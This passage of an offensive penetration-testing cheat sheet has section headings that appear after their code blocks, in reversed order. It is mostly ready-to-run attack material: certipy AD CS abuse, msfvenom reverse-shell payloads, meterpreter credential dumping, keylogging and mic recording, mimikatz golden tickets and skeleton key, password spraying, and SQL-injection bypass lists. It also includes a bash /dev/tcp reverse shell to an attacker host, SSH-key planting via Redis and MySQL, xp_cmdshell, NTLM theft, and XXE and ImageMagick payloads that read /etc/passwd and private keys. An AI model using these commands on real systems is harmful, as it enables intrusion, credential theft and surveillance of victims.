> certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <CA> -template User -on-behalf-of '<DOMAIN>\Administrator' -pfx <USERNAME>.pfx
> certipy auth -pfx administrator.pfx -dc-ip <RHOST>
> ```
>
> **ESC3: Enrollment Agent Templates**
>
> ```
> certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <CA> -template <TEMPLATE>
> certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <CA> -template User -on-behalf-of '<DOMAIN>\Administrator' -pfx <USERNAME>.pfx
> certipy auth -pfx administrator.pfx -dc-ip <RHOST>
> ```
>
> **ESC2: Misconfigured Certificate Templates**
>
> ```
> certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <CA> -template <TEMPLATE> -upn administrator@<DOMAIN> -dns <RHOST>
> certipy auth -pfx administrator.pfx -dc-ip <RHOST>
> ```
>
> **ESC1: Misconfigured Certificate Templates**
>
> ```
> certipy find -username <USERNAME>@<DOMAIN> -password <PASSWORD> -dc-ip <RHOST> -vulnerable -stdout
> ```
>
> **Active Directory Certificate Services (AD CS)**
>
> #### Post Exploitation
>
> ```
> meterpreter > download *
> ```
>
> ```
> .\<FILE>.exe
> ```
>
> ```
> msf6 > use exploit/multi/handler
> [*] Using configured payload generic/shell_reverse_tcp
> msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
> payload => windows/x64/meterpreter/reverse_tcp
> msf6 exploit(multi/handler) > set LHOST <LHOST>
> LHOST => <LHOST>
> msf6 exploit(multi/handler) > set LPORT <LPORT>
> LPORT => <LPORT>
> msf6 exploit(multi/handler) > run
> ```
>
> ```
> msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f exe -o <FILE>.exe
> ```
>
> **Download Files**
>
> ```
> msf6 > use exploit/multi/handler
> [*] Using configured payload generic/shell_reverse_tcp
> msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
> payload => windows/x64/meterpreter/reverse_tcp
> msf6 exploit(multi/handler) > set LHOST <LHOST>
> LHOST => <LHOST>
> msf6 exploit(multi/handler) > set LPORT <LPORT>
> LPORT => <LPORT>
> msf6 exploit(multi/handler) > run
> ```
>
> **Setup Listener for Microsoft Windows**
>
> ```
> msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f exe -o meterpreter_payload.exe
> ```
>
> **Generate Payload**
>
> **Meterpreter Listener**
>
> ```
> /home/<USERNAME>/.msf4/loot/20200623090635_default_<RHOST>_nvms.traversal_680948.txt
> ```
>
> **Auxiliary Output Directory**
>
> ```
> proxychains -q msfconsole
> ```
>
> **Metasploit through Proxychains**
>
> ```
> $ sudo msfdb run                   // start database
> $ sudo msfdb init                  // database initialization
> $ msfdb --use-defaults delete      // delete existing databases
> $ msfdb --use-defaults init        // database initialization
> $ msfdb status                     // database status
> msf6 > workspace                   // metasploit workspaces
> msf6 > workspace -a <WORKSPACE>    // add a workspace
> msf6 > workspace -r <WORKSPACE>    // rename a workspace
> msf6 > workspace -d <WORKSPACE>    // delete a workspace
> msf6 > workspace -D                // delete all workspaces
> msf6 > db_nmap <OPTIONS>           // execute nmap and add output to database
> msf6 > hosts                       // reads hosts from database
> msf6 > services                    // reads services from database
> msf6 > vulns                       // displaying vulnerabilities
> msf6 > search                      // search within metasploit
> msf6 > set RHOST <RHOST>           // set remote host
> msf6 > set RPORT <RPORT>           // set remote port
> msf6 > run                         // run exploit
> msf6 > spool /PATH/TO/FILE         // recording screen output
> msf6 > save                        // saves current state
> msf6 > exploit                     // using module exploit
> msf6 > payload                     // using module payload
> msf6 > auxiliary                   // using module auxiliary
> msf6 > encoder                     // using module encoder
> msf6 > nop                         // using module nop
> msf6 > show sessions               // displays all current sessions
> msf6 > sessions -i 1               // switch to session 1
> msf6 > sessions -u <ID>            // upgrading shell to meterpreter
> msf6 > sessions -k <ID>            // kill specific session
> msf6 > sessions -K                 // kill all sessions
> msf6 > jobs                        // showing all current jobs
> msf6 > show payloads               // displaying available payloads
> msf6 > set VERBOSE true            // enable verbose output
> msf6 > set forceexploit true       // exploits the target anyways
> msf6 > set EXITFUNC thread         // reverse shell can exit without exit the program
> msf6 > set AutoLoadStdapi false    // disables autoload of stdapi
> msf6 > set PrependMigrate true     // enables automatic process migration
> msf6 > set PrependMigrateProc explorer.exe                        // auto migrate to explorer.exe
> msf6 > use post/PATH/TO/MODULE                                    // use post exploitation module
> msf6 > use post/linux/gather/hashdump                             // use hashdump for Linux
> msf6 > use post/multi/manage/shell_to_meterpreter                 // shell to meterpreter
> msf6 > use exploit/windows/http/oracle_event_processing_upload    // use a specific module
> C:\> > Ctrl + z                                  // put active meterpreter shell in background
> meterpreter > loadstdapi                         // load stdapi
> meterpreter > background                         // put meterpreter in background (same as "bg")
> meterpreter > shell                              // get a system shell
> meterpreter > channel -i <ID>                    // get back to existing meterpreter shell
> meterpreter > ps                                 // checking processes
> meterpreter > migrate 2236                       // migrate to a process
> meterpreter > getuid                             // get the user id
> meterpreter > sysinfo                            // get system information
> meterpreter > search -f <FILE>                   // search for a file
> meterpreter > upload                             // uploading local files to the target
> meterpreter > ipconfig                           // get network configuration
> meterpreter > load powershell                    // loads powershell
> meterpreter > powershell_shell                   // follow-up command for load powershell
> meterpreter > powershell_execute                 // execute command
> meterpreter > powershell_import                  // import module
> meterpreter > powershell_shell                   // shell
> meterpreter > powershell_session_remove          // remove
> meterpreter > powershell_execute 'Get-NetNeighbor | Where-Object -Property State -NE "Unreachable" | Select-Object -Property IPAddress'                                // network discovery
> meterpreter > powershell_execute '1..254 | foreach { "<XXX.XXX.XXX>.${_}: $(Test-Connection -TimeoutSeconds 1 -Count 1 -ComputerName <XXX.XXX.XXX>.${_} -Quiet)" }'    // network scan
> meterpreter > powershell_execute 'Test-NetConnection -ComputerName <RHOST> -Port 80 | Select-Object -Property RemotePort, TcpTestSucceeded'                            // port scan
> meterpreter > load kiwi                          // load mimikatz
> meterpreter > help kiwi                          // mimikatz help
> meterpreter > kiwi_cmd                           // execute mimikatz native command
> meterpreter > lsa_dump_sam                       // lsa sam dump
> meterpreter > dcsync_ntlm krbtgt                 // dc sync
> meterpreter > creds_all                          // dump all credentials
> meterpreter > creds_msv                          // msv dump
> meterpreter > creds_kerberos                     // kerberos dump
> meterpreter > creds_ssp                          // ssp dump
> meterpreter > creds_wdigest                      // wdigest dump
> meterpreter > getprivs                           // get privileges after loading mimikatz
> meterpreter > getsystem                          // gain system privileges if user is member of administrator group
> meterpreter > hashdump                           // dumps all the user hashes
> meterpreter > run post/windows/gather/checkvm    // check status of the target
> meterpreter > run post/multi/recon/local_exploit_suggester    // checking for exploits
> meterpreter > run post/windows/manage/enable_rdp              // enables rdp
> meterpreter > run post/multi/manage/autoroute                 // runs autoroutes
> meterpreter > run auxiliary/server/socks4a                    // runs socks4 proxy server
> meterpreter > keyscan_start                                   // enabled keylogger
> meterpreter > keyscan_dump                                    // showing the output
> meterpreter > screenshare                                     // realtime screen sharing
> meterpreter > screenshare -q 100                              // realtime screen sharing
> meterpreter > record_mic                                      // recording mic output
> meterpreter > timestomp                                       // modify timestamps
> meterpreter > execute -f calc.exe                             // starts a program on the victim
> meterpreter > portfwd add -l <LPORT> -p <RPORT> -r 127.0.0.1    // port forwarding
> ```
>
> **Metasploit**
>
> ```
> convert poc.svg poc.png
> cp /tmp/poc.svg /var/www/html/convert_images/
> ```
>
> ```
> <image authenticate='ff" `echo $(cat /home/<USERNAME>/.ssh/id_rsa)> /dev/shm/id_rsa`;"'>
>   <read filename="pdf:/etc/passwd"/>
>   <get width="base-width" height="base-height" />
>   <resize geometry="400x400" />
>   <write filename="test.png" />
>   <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
>   <image xlink:href="msl:poc.svg" height="100" width="100"/>
>   </svg>
> </image>
> ```
>
> **poc.svg**
>
> > <https://insert-script.blogspot.com/2020/11/imagemagick-shell-injection-via-pdf.html>
>
> **MSL / Polyglot Attack**
>
> > <https://imagetragick.com/>
>
> **ImageTragick**
>
> #### Exploitation Tools
>
> ```
> pypykatz lsa minidump lsass.dmp
> pypykatz registry --sam sam system
> ```
>
> **pypykatz**
>
> ```
> netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --bloodhound -ns <RHOST> -c all
> netexec winrm <RHOST> -u '<USERNAME>' -p /usr/share/wordlists/rockyou.txt --ignore-pw-decoding
> ```
>
> **NetExec**
>
> ```
> privilege::debug
> misc::skeleton
> net use C:\\<RHOST>\admin$ /user:Administrator mimikatz
> dir \\<RHOST>\c$ /user:<USERNAME> mimikatz
> ```
>
> **Skeleton Key**
>
> ```
> .\mimikatz.exe
> privilege::debug
> lsadump::lsa /inject /name:krbtgt
> kerberos::golden /user:Administrator /domain:controller.local /sid:S-1-5-21-849420856-2351964222-986696166 /krbtgt:5508500012cc005cf7082a9a89ebdfdf /id:500
> misc::cmd
> klist
> dir \\<RHOST>\admin$
> ```
>
> **Forging Golden Ticket**
>
> ```
> .\mimikatz.exe
> sekurlsa::tickets /export
> kerberos::ptt [0;76126]-2-0-40e10000-Administrator@krbtgt-<RHOST>.LOCAL.kirbi
> klist
> dir \\<RHOST>\admin$
> ```
>
> **Pass the Ticket**
>
> ```
> .\mimikatz.exe
> sekurlsa::minidump /users/admin/Desktop/lsass.DMP
> sekurlsa::LogonPasswords
> meterpreter > getprivs
> meterpreter > creds_all
> meterpreter > golden_ticket_create
> ```
>
> **Dump Hshes**
>
> ```
> token::elevate
> token::revert
> vault::cred
> vault::list
> lsadump::sam
> lsadump::secrets
> lsadump::cache
> lsadump::dcsync /<USERNAME>:<DOMAIN>\krbtgt /domain:<DOMAIN>
> ```
>
> **Common Commands**
>
> **mimikatz**
>
> ```
> laZagne.exe all
> ```
>
> **LaZagne**
>
> ```
> ./kerbrute passwordspray -d <DOMAIN> --dc <DOMAIN> /PATH/TO/FILE/<USERNAMES> <PASSWORD>
> ```
>
> **Password Spray**
>
> ```
> ./kerbrute userenum -d <DOMAIN> --dc <DOMAIN> /PATH/TO/FILE/<USERNAMES>
> ```
>
> **User Enumeration**
>
> **Kerbrute**
>
> ```
> /usr/share/john/ssh2john.py id_rsa > hash
> john hash --wordlist=/usr/share/wordlists/rockyou.txt <FILE>
> john --rules --wordlist=/usr/share/wordlists/rockyou.txt <FILE>
> john --show <FILE>
> ```
>
> **John**
>
> ```
> hydra <RHOST> http-post-form -L /PATH/TO/WORDLIST/<FILE> "/login:usernameField=^USER^&passwordField=^PASS^:unsuccessfulMessage" -s <RPORT> -P /PATH/TO/WORDLIST/<FILE>
>
> hydra <RHOST> http-form-post "/otrs/index.pl:Action=Login&RequestedURL=Action=Admin&User=root@localhost&Password=^PASS^:Login failed" -l root@localhost -P otrs-cewl.txt -vV -f
>
> hydra -l admin -P /PATH/TO/WORDLIST/<FILE> <RHOST> http-post-form "/Account/login.aspx?ReturnURL=/admin/:__VIEWSTATE=COOKIE_1&__EVENTVALIDATION=COOKIE_2&UserName=^USER^&Password=^PASS^&LoginButton=Log+in:Login failed"
> ```
>
> ```
> hydra -l <USERNAME> -P /PATH/TO/WORDLIST/<FILE> <RHOST> http-post-form "/admin.php:username=^USER^&password=^PASS^:login_error"
> ```
>
> ```
> export HYDRA_PROXY=connect://127.0.0.1:8080
> unset HYDRA_PROXY
> ```
>
> ```
> hydra <RHOST> -l <USERNAME> -p <PASSWORD> <PROTOCOL>
> hydra <RHOST> -L /PATH/TO/WORDLIST/<FILE> -P /PATH/TO/WORDLIST/<FILE> <PROTOCOL>
> hydra -C /PATH/TO/WORDLIST/<FILE> <RHOST> ftp
> ```
>
> **Hydra**
>
> ```
> hashcat -m 3200 hash.txt -r /PATH/TO/FILE.rule
> ```
>
> **Cracking with OneRuleToRuleThemAll.rule**
>
> > <https://github.com/NotSoSecure/password_cracking_rules/blob/master/OneRuleToRuleThemAll.rule>
>
> **Rules**
>
> ```
> hashcat -m5600 'spotless::WS01:1122334455667788:26872b3197acf1da493228ac1a54c67c:010100000000000078b063fbcce8d4012c90747792a3cbca0000000008003000300000000000000001000000002000006402330e5e71fb781eef13937448bf8b0d8bc9e2e6a1e1122fd9d690fa9178c50a0010000000000000000000000000000000000009001a0057005300300031005c00730070006f0074006c006500730073000000000000000000' -a 3 /usr/share/wordlists/rockyou.txt --force --potfile-disable
> ```
>
> **Crack with hashcat**
>
> ```
> spotless::WS01:1122334455667788:26872b3197acf1da493228ac1a54c67c:010100000000000078b063fbcce8d4012c90747792a3cbca0000000008003000300000000000000001000000002000006402330e5e71fb781eef13937448bf8b0d8bc9e2e6a1e1122fd9d690fa9178c50a0010000000000000000000000000000000000009001a0057005300300031005c00730070006f0074006c006500730073000000000000000000
> ```
>
> **Result**
>
> ```
> InternalMonologue.exe -Downgrade False -Restore False -Impersonate True -Verbose False -challange 002233445566778888800
> ```
>
> **Generate NetNLTMv2 with internalMonologue and crack with hashcat**
>
> ```
> hashcat -a6 -m0 "e99a18c428cb38d5f260853678922e03" yourPassword|/usr/share/wordlists/rockyou.txt ?d?d?d?u?u?u --force --potfile-disable --stdout
> ```
>
> **Generate Password Candidates: Wordlist + Pattern**
>
> ```
> hashcat -a3 -m0 mantas?d?d?d?u?u?u --force --potfile-disable --stdout
> ```
>
> **Bruteforce based on the Pattern**
>
> ```
> hashcat -m 13100 --force <FILE> <FILE>
> ```
>
> **Cracking Kerberoasting Password File**
>
> ```
> hashcat -m 18200 -a 0 <FILE> <FILE>
> ```
>
> **Cracking ASPREPRoast Password File**
>
> ```
> hashcat -m 0 md5 /usr/share/wordlists/rockyou.txt
> hashcat -m 100 sha-1 /usr/share/wordlists/rockyou.txt
> hashcat -m 1400 sha256 /usr/share/wordlists/rockyou.txt
> hashcat -m 3200 bcrypt /usr/share/wordlists/rockyou.txt
> hashcat -m 900 md4 /usr/share/wordlists/rockyou.txt
> hashcat -m 1000 ntlm /usr/share/wordlists/rockyou.txt
> hashcat -m 1800 sha512 /usr/share/wordlists/rockyou.txt
> hashcat -m 160 hmac-sha1 /usr/share/wordlists/rockyou.txt
> hashcat -a 0 -m 0 hash.txt SecLists/Passwords/xato-net-10-million-passwords-1000000.txt -O --force
> hashcat -O -m 500 -a 3 -1 ?l -2 ?d -3 ?u  --force hash.txt ?3?3?1?1?1?1?2?3
> ```
>
> ```
> hashcat --example-hashes
> ```
>
> > <https://hashcat.net/wiki/doku.php?id=example_hashes>
>
> > <https://hashcat.net/cap2hashcat/>
>
> > <https://hashcat.net/wiki/doku.php?id=hashcat>
>
> > <https://hashcat.net/hashcat/>
>
> **hashcat**
>
> ```
> fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt <FILE>.zip
> ```
>
> **fcrack**
>
> ```
> crackmapexec smb <RHOST> -u '' -p '' --shares
> crackmapexec smb <RHOST> -u '' -p '' --shares -M spider_plus
> crackmapexec smb <RHOST> -u '' -p '' --shares -M spider_plus -o READ_ONLY=false
> crackmapexec smb <RHOST> -u " " -p "" --shares
> crackmapexec smb <RHOST> -u " " -p "" --shares -M spider_plus
> crackmapexec smb <RHOST> -u " " -p "" --shares -M spider_plus -o READ_ONLY=false
> crackmapexec smb <RHOST> -u guest -p '' --shares --rid-brute
> crackmapexec smb <RHOST> -u guest -p '' --shares --rid-brute 100000
> crackmapexec smb <RHOST> -u "guest" -p "" --shares --rid-brute
> crackmapexec smb <RHOST> -u "guest" -p "" --shares --rid-brute 100000
> crackmapexec ldap <RHOST> -u '' -p '' -M get-desc-users
> crackmapexec smb <RHOST> -u "<USERNAME>" --use-kcache --sam
> crackmapexec ldap <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --gmsa
> crackmapexec ldap <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --gmsa -k
> crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --shares
> crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --sam
> crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --lsa
> crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --dpapi
> crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --local-auth --sam
> crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --local-auth --lsa
> crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --local-auth --dpapi
> crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" -M lsassy
> crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --ntds
> crackmapexec smb <RHOST> -u "<USERNAME>" -H "<NTLMHASH>" --ntds
> crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --ntds --user <USERNAME>
> crackmapexec smb <RHOST> -u "<USERNAME>" -H "<NTLMHASH>" --ntds --user <USERNAME>
> crackmapexec smb <RHOST> -u "<USERNAME>" -H <HASH> -x "whoami"
> crackmapexec winrm <SUBNET>/24 -u "<USERNAME>" -p "<PASSWORD>" -d .
> crackmapexec winrm -u /t -p "<PASSWORD>" -d <DOMAIN> <RHOST>
> crackmapexec winrm <RHOST> -u /PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt
> crackmapexec <PROTOCOL> <RHOST> -u /PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt --shares
> crackmapexec <PROTOCOL> <RHOST> -u /PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt --pass-pol
> crackmapexec <PROTOCOL> <RHOST> -u /PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt --lusers
> crackmapexec <PROTOCOL> <RHOST> -u /PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt --sam
> crackmapexec <PROTOCOL> <RHOST> -u /PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt -x 'net user Administrator /domain' --exec-method smbexec
> crackmapexec <PROTOCOL> <RHOST> -u /PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt --wdigest enable
> crackmapexec <PROTOCOL> <RHOST> -u /PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt -x 'quser'
> ```
>
> ```
> crackmapexec ldap -L
> crackmapexec mysql -L
> crackmapexec smb -L
> crackmapexec ssh -L
> crackmapexec winrm -L
> ```
>
> **CrackMapExec**
>
> #### Password Attacks
>
> ```
> EXEC master.sys.xp_dirtree N'C:\inetpub\wwwroot\',1,1;
> ```
>
> **List Files and Folders with xp\_dirtree**
>
> ```
> sqsh -S <RHOST> -U <USERNAME>
> sqsh -S '<RHOST>' -U '<USERNAME>' -P '<PASSWORD>'
> sqsh -S '<RHOST>' -U '.\<USERNAME>' -P '<PASSWORD>'
> ```
>
> **sqsh**
>
> ```
> sqlite> .tables
> sqlite> PRAGMA table_info(<TABLE>);
> sqlite> SELECT * FROM <TABLE>;
> ```
>
> ```
> sqlite3 <FILE>.db
> ```
>
> **sqlite3**
>
> ```
> 'admin@<FQDN>' = 'admin@<FQDN>++++++++++++++++++++++++++++++++++++++htb'
> ```
>
> **SQL Truncation Attack**
>
> ```
> '-'
> ' '
> '&'
> '^'
> '*'
> ' or 1=1 limit 1 -- -+
> '="or'
> ' or ''-'
> ' or '' '
> ' or ''&'
> ' or ''^'
> ' or ''*'
> '-||0'
> "-||0"
> "-"
> " "
> "&"
> "^"
> "*"
> '--'
> "--"
> '--' / "--"
> " or ""-"
> " or "" "
> " or ""&"
> " or ""^"
> " or ""*"
> or true--
> " or true--
> ' or true--
> ") or true--
> ') or true--
> ' or 'x'='x
> ') or ('x')=('x
> ')) or (('x'))=(('x
> " or "x"="x
> ") or ("x")=("x
> ")) or (("x"))=(("x
> or 2 like 2
> or 1=1
> or 1=1--
> or 1=1#
> or 1=1/*
> admin' --
> admin' -- -
> admin' #
> admin'/*
> admin' or '2' LIKE '1
> admin' or 2 LIKE 2--
> admin' or 2 LIKE 2#
> admin') or 2 LIKE 2#
> admin') or 2 LIKE 2--
> admin') or ('2' LIKE '2
> admin') or ('2' LIKE '2'#
> admin') or ('2' LIKE '2'/*
> admin' or '1'='1
> admin' or '1'='1'--
> admin' or '1'='1'#
> admin' or '1'='1'/*
> admin'or 1=1 or ''='
> admin' or 1=1
> admin' or 1=1--
> admin' or 1=1#
> admin' or 1=1/*
> admin') or ('1'='1
> admin') or ('1'='1'--
> admin') or ('1'='1'#
> admin') or ('1'='1'/*
> admin') or '1'='1
> admin') or '1'='1'--
> admin') or '1'='1'#
> admin') or '1'='1'/*
> 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
> admin" --
> admin';-- azer
> admin" #
> admin"/*
> admin" or "1"="1
> admin" or "1"="1"--
> admin" or "1"="1"#
> admin" or "1"="1"/*
> admin"or 1=1 or ""="
> admin" or 1=1
> admin" or 1=1--
> admin" or 1=1#
> admin" or 1=1/*
> admin") or ("1"="1
> admin") or ("1"="1"--
> admin") or ("1"="1"#
> admin") or ("1"="1"/*
> admin") or "1"="1
> admin") or "1"="1"--
> admin") or "1"="1"#
> admin") or "1"="1"/*
> 1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
> ```
>
> **Authentication Bypass**
>
> ```
> admin' or '1'='1
> ' or '1'='1
> " or "1"="1
> " or "1"="1"--
> " or "1"="1"/*
> " or "1"="1"#
> " or 1=1
> " or 1=1 --
> " or 1=1 -
> " or 1=1--
> " or 1=1/*
> " or 1=1#
> " or 1=1-
> ") or "1"="1
> ") or "1"="1"--
> ") or "1"="1"/*
> ") or "1"="1"#
> ") or ("1"="1
> ") or ("1"="1"--
> ") or ("1"="1"/*
> ") or ("1"="1"#
> ) or '1`='1-
> ```
>
> **Master List**
>
> **SQL Injection**
>
> ```
> redis-cli -h <RHOST>
> echo "FLUSHALL" | redis-cli -h <RHOST>
> (echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /PATH/TO/FILE/<FILE>.txt
> cat /PATH/TO/FILE/<FILE>.txt | redis-cli -h <RHOST> -x set s-key
> <RHOST>:6379> get s-key
> <RHOST>:6379> CONFIG GET dir
> 1) "dir"
> 2) "/var/lib/redis"
> <RHOST>:6379> CONFIG SET dir /var/lib/redis/.ssh
> OK
> <RHOST>:6379> CONFIG SET dbfilename authorized_keys
> OK
> <RHOST>:6379> CONFIG GET dbfilename
> 1) "dbfilename"
> 2) "authorized_keys"
> <RHOST>:6379> save
> OK
> ```
>
> **Enter own SSH Key**
>
> ```
> > AUTH <PASSWORD>
> > AUTH <USERNAME> <PASSWORD>
> > INFO SERVER
> > INFO keyspace
> > CONFIG GET *
> > SELECT <NUMBER>
> > KEYS *
> > HSET       // set value if a field within a hash data structure
> > HGET       // retrieves a field and his value from a hash data structure
> > HKEYS      // retrieves all field names from a hash data structure
> > HGETALL    // retrieves all fields and values from a hash data structure
> > GET PHPREDIS_SESSION:2a9mbvnjgd6i2qeqcubgdv8n4b
> > SET PHPREDIS_SESSION:2a9mbvnjgd6i2qeqcubgdv8n4b "username|s:8:\"<USERNAME>\";role|s:5:\"admin\";auth|s:4:\"True\";" # the value "s:8" has to match the length of the username
> ```
>
> **Redis**
>
> ```
> postgres=# \list                     // list all databases
> postgres=# \c                        // use database
> postgres=# \c <DATABASE>             // use specific database
> postgres=# \s                        // command history
> postgres=# \q                        // quit
> <DATABASE>=# \dt                     // list tables from current schema
> <DATABASE>=# \dt *.*                 // list tables from all schema
> <DATABASE>=# \du                     // list users roles
> <DATABASE>=# \du+                    // list users roles
> <DATABASE>=# SELECT user;            // get current user
> <DATABASE>=# TABLE <TABLE>;          // select table
> <DATABASE>=# SELECT * FROM users;    // select everything from users table
> <DATABASE>=# SHOW rds.extensions;    // list installed extensions
> <DATABASE>=# SELECT usename, passwd from pg_shadow;    // read credentials
> ```
>
> #### Common Commands
>
> ```
> psql
> psql -h <LHOST> -U <USERNAME> -c "<COMMAND>;"
> psql -h <RHOST> -p 5432 -U <USERNAME> -d <DATABASE>
> psql -h <RHOST> -p 5432 -U <USERNAME> -d <DATABASE>
> ```
>
> **PostgreSQL**
>
> ```
> admin'||''==='
> {"username": {"$ne": null}, "password": {"$ne": null} }
> ```
>
> **NoSQL Injection**
>
> ```
> SQL> SELECT user_name();
> SQL> SELECT name,sysadmin FROM syslogins;
> SQL> SELECT srvname,isremote FROM sysservers;
> SQL> EXEC ('SELECT current_user') at [<DOMAIN>\<CONFIG_FILE>];
> SQL> EXEC ('SELECT srvname,isremote FROM sysservers') at [<DOMAIN>\<CONFIG_FILE>];
> SQL> EXEC ('EXEC (''SELECT suser_name()'') at [<DOMAIN>\<CONFIG_FILE>]') at [<DOMAIN>\<CONFIG_FILE>];
> ```
>
> **Linked SQL Server Enumeration**
>
> ```
> mysql> SELECT "<KEY>" INTO OUTFILE '/root/.ssh/authorized_keys2' FIELDS TERMINATED BY '' OPTIONALLY ENCLOSED BY '' LINES TERMINATED BY '\n';
> ```
>
> **Write SSH Key into authorized\_keys2 file**
>
> ```
> mysql> insert into users (id, email) values (<LPORT>, "- E $(bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1')");
> ```
>
> **Insert Code to get executed**
>
> ```
> SQL> enable_xp_cmdshell
> SQL> xp_cmdshell whoami
> ```
>
> ```
> SQL> EXEC sp_configure 'Show Advanced Options', 1;
> SQL> reconfigure;
> SQL> sp_configure;
> SQL> EXEC sp_configure 'xp_cmdshell', 1;
> SQL> reconfigure
> SQL> xp_cmdshell "whoami"
> ```
>
> **xp\_cmdshell**
>
> ```
> mysql> \! /bin/sh
> ```
>
> **Drop a Shell**
>
> ```
> mysql> update user set password = '37b08599d3f323491a66feabbb5b26af' where user_id = 1;
> ```
>
> **Update User Password**
>
> ```
> mysql> show databases;
> mysql> use <DATABASE>;
> mysql> show tables;
> mysql> describe <TABLE>;
> mysql> SELECT * FROM Users;
> mysql> SELECT * FROM users \G;
> mysql> SELECT Username,Password FROM Users;
> ```
>
> ```
> mysql -u root -p
> mysql -u <USERNAME> -h <RHOST> -p
> ```
>
> **MySQL**
>
> ```
> SQL> exec master.dbo.xp_dirtree '\\<LHOST>\FOOBAR'
> ```
>
> **Steal NetNTLM Hash / Relay Attack**
>
> ```
> 1> select cast((select content from openquery([web\clients], 'select * from clients.sys.assembly_files') where assembly_id = 65536) as varbinary(max)) for xml path(''), binary base64;
> 2> go > export.txt
> ```
>
> **Binary Extraction as Base64**
>
> ```
> 1> select * from openquery("web\clients", 'select name from clients.sys.objects');
> 2> go
> ```
>
> ```
> 1> select * from openquery("web\clients", 'select name from master.sys.databases');
> 2> go
> ```
>
> **OPENQUERY**
>
> ```
> 1> SELECT name FROM master.sys.databases
> 2> go
> ```
>
> **Show Database Content**
>
> ```
> sqlcmd -S <RHOST> -U <USERNAME>
> sqlcmd -S <RHOST> -U <USERNAME> -P '<PASSWORD>'
> ```
>
> **Connection**
>
> **MSSQL**
>
> ```
> > db.getCollection('users').update({username:"admin"}, { $set: {"services" : { "password" : {"bcrypt" : "$2a$10$n9CM8OgInDlwpvjLKLPML.eizXIzLlRtgCh3GRLafOdR9ldAUh/KG" } } } })
> ```
>
> **User Password Reset to "12345"**
>
> ```
> > use <DATABASE>;
> > show tables;
> > show collections;
> > db.system.keys.find();
> > db.users.find();
> > db.getUsers();
> > db.getUsers({showCredentials: true});
> > db.accounts.find();
> > db.accounts.find().pretty();
> > use admin;
> ```
>
> ```
> mongo "mongodb://localhost:27017"
> ```
>
> **MongoDB**
>
> ```
> exec_as_login sa
> enable_xp_cmdshell
> xp_cmdshell whoami
> ```
>
> **Privilege Escalation**
>
> ```
> export KRB5CCNAME=<USERNAME>.ccache
> impacket-mssqlclient -k <RHOST>.<DOMAIN>
> ```
>
> ```
> impacket-mssqlclient <USERNAME>@<RHOST>
> impacket-mssqlclient <USERNAME>@<RHOST> -windows-auth
> sudo mssqlclient.py <RHOST>/<USERNAME>:<USERNAME>@<RHOST> -windows-auth
> ```
>
> **Connection**
>
> ```
> enum_logins
> enum_impersonate
> ```
>
> **Common Commands**
>
> **impacket-mssqlclient**
>
> #### Database Analysis
>
> ```
> username=%26username%3b&version=1.0.0--><!DOCTYPE+username+[+<!ENTITY+username+SYSTEM+"/root/.ssh/id_rsa">+]><!--
> ```
>
> ```
> <?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///c:/windows/win.ini'>]><order><quantity>3</quantity><item>&test;</item><address>17th Estate, CA</address></order>
> ```
>
> ```
> <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE xxe [ <!ENTITY passwd SYSTEM 'file:///etc/passwd'> ]>
>  <stockCheck><productId>&passwd;</productId><storeId>1</storeId></stockCheck>
> ```
>
> **Payloads**
>
> ```
> GET / HTTP/1.1
> Host: <RHOST>:<RPORT>
> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
> Accept-Language: en-US,en;q=0.5
> Accept-Encoding: gzip, deflate
> Content-Length: 136
>
> <?xml version="1.0" encoding="UTF-8" ?>
> <!DOCTYPE test [<!ENTITY xxe SYSTEM "http://<LHOST>:80/shell.php" >]>
> <foo>&xxe;</foo>
> ```
>
> **Skeleton Payload Request**
>
> **XML External Entity (XXE)**
>
> ```
> wpscan --url https://<RHOST> --enumerate u,t,p
> wpscan --url https://<RHOST> --plugins-detection aggressive
> wpscan --url https://<RHOST> --disable-tls-checks
